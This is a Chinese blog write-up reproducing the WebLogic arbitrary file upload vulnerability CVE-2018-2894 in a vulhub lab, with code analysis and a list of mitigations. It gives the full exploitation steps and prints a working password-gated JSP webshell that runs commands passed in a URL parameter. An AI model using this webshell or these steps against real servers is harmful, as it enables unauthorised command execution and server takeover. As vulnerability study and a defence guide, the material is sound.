[vulhub]Weblogic 任意文件上传漏洞(CVE-2018-2894)

CVE-2018-2894

(emmm…二次更新,从原理上理解每一步的原因)
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。(ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证)
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。

WebLogic

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

漏洞背景

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do。

影响版本

Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3。

漏洞详情

http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html#AppendixFMW

参考链接

https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ
https://xz.aliyun.com/t/2458

漏洞环境

开启docker之后,访问http://your-ip:7001/console,提示自动部署了应用,然后看到后台登陆界面
[vulhub]Weblogic 任意文件上传漏洞(CVE-2018-2894)
执行docker-compose logs | grep password可查看管理员密码,管理员用户名为weblogic

[vulhub]Weblogic 任意文件上传漏洞(CVE-2018-2894)登陆,点击base_domain,可看到设置界面
[vulhub]Weblogic 任意文件上传漏洞(CVE-2018-2894)找到设置中的高级,勾选启用web测试服务页

[vulhub]Weblogic 任意文件上传漏洞(CVE-2018-2894)

漏洞复现

访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。为什么将当前工作目录改为这个呢?因为我们需要找一个可以访问的路径,原本的当前工作目录外网是访问不到的。还记得开始时候页面提示了自动部署应用吗,这个/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css(绝对路径)就是部署的web应用的目录(当然后面多加了一个css,这个无所谓),这个目录外网可以访问到,并且是无需权限的。外网访问它里面的文件就是就是http://your-ip:7001/ws_utc/css/文件,ws_utc是应用名。
所以说能够利用这个漏洞的一个前提是知道部署web应用的目录。由于我们现在自己连接着服务器,前面又提示了自动部署了应用,就可以找找WEB-INF文件夹在哪里,经分析就可以找到部署的目录。

[vulhub]Weblogic 任意文件上传漏洞(CVE-2018-2894)
点击安全->添加,上传shell.jsp文件
[vulhub]Weblogic 任意文件上传漏洞(CVE-2018-2894)
[vulhub]Weblogic 任意文件上传漏洞(CVE-2018-2894)
抓包,看到返回了时间戳
[vulhub]Weblogic 任意文件上传漏洞(CVE-2018-2894)
这里我上传的shell.jsp为:

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell:根据我这里上传的webshell,即访问http://your-ip:7001/ws_utc/css/config/keystore/1571710839635_shell.jsp?pwd=023&i=ls

至于为什么是访问/ws_utc/css/config/keystore/[时间戳]_[文件名],第一,前面有设置工作目录为ws_utc应用的静态文件css目录,即/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css,,也说了这样设置的原因是访问这个目录是无需权限的,那么后面的/config/keystore/[时间戳]_[文件名]呢,去下载一个weblogic试试就知道了,审计代码或者去尝试一下上传文件,就可以知道具体的web目录。

[vulhub]Weblogic 任意文件上传漏洞(CVE-2018-2894)

代码分析

改变工作空间目录的函数,对新目录的设置没有任何限制

public void changeWorkDir(String path) {
    String[] oldPaths = this.getRelatedPaths();
    if (this.testPageProvider.getWsImplType() == ImplType.JRF) {
        this.isWorkDirChangeable = false;
        this.isWorkDirWritable = isDirWritable(path);//判断新的工作目录是否可写
        this.isWorkDirChangeable = true;//将this.isWorkDirChangeable 设置为 true
        this.setTestClientWorkDir(path);//直接设置了新的工作目录
    } else {
        this.persistWorkDir(path);
        this.init();
    }

    if (this.isWorkDirWritable) {
        String[] newPaths = this.getRelatedPaths();
        moveDirs(oldPaths, newPaths); //将旧的目录中的文件移动到新的目录
    } else {
        Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path.");
    }

}

得到storepath

public static String getKeyStorePath() {
        return getConfigDir() + File.separator + "keystore";//在/ws_utc/css/后面加了config/keystore
    }

上传文件的地方

public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix) {
    ...
    if (attachName != null && attachName.trim().length() > 0) {//只判断了不等于空和去掉空格之后长度不等于0 ,相当于可以任意上传
        if (attachName != null && attachName.trim().length() != 0) {
            attachName = this.refactorAttachName(attachName);
            if (fileNamePrefix == null) {
                fileNamePrefix = key;
            }

            String filename = (new File(storePath, fileNamePrefix + "_" + attachName)).getAbsolutePath();//storePath, fileNamePrefix + "_" + attachName   key是时间戳
            kvMap.addValue(key, filename);
            if (isExtactAttachment) {
                this.saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
            }
        }
    } 
    ...
}

修复方案

1.用户到官方获取最新补丁或者最新版本程序
2.设置Config.do页面登录授权后访问;
3.上传文件类型进行验证,前后端
4.重命名文件
5.MIME类型检测
6.限制上传文件的大小
7.限制上传的路径
7.限制上传路径的执行权限
8.不要回显上传文件的路径

上一篇:CSS彻底研究(3) - 浮动,定位


下一篇:php 获取今天,本周,本月,三个月内,半年内,今年的开始和结束时间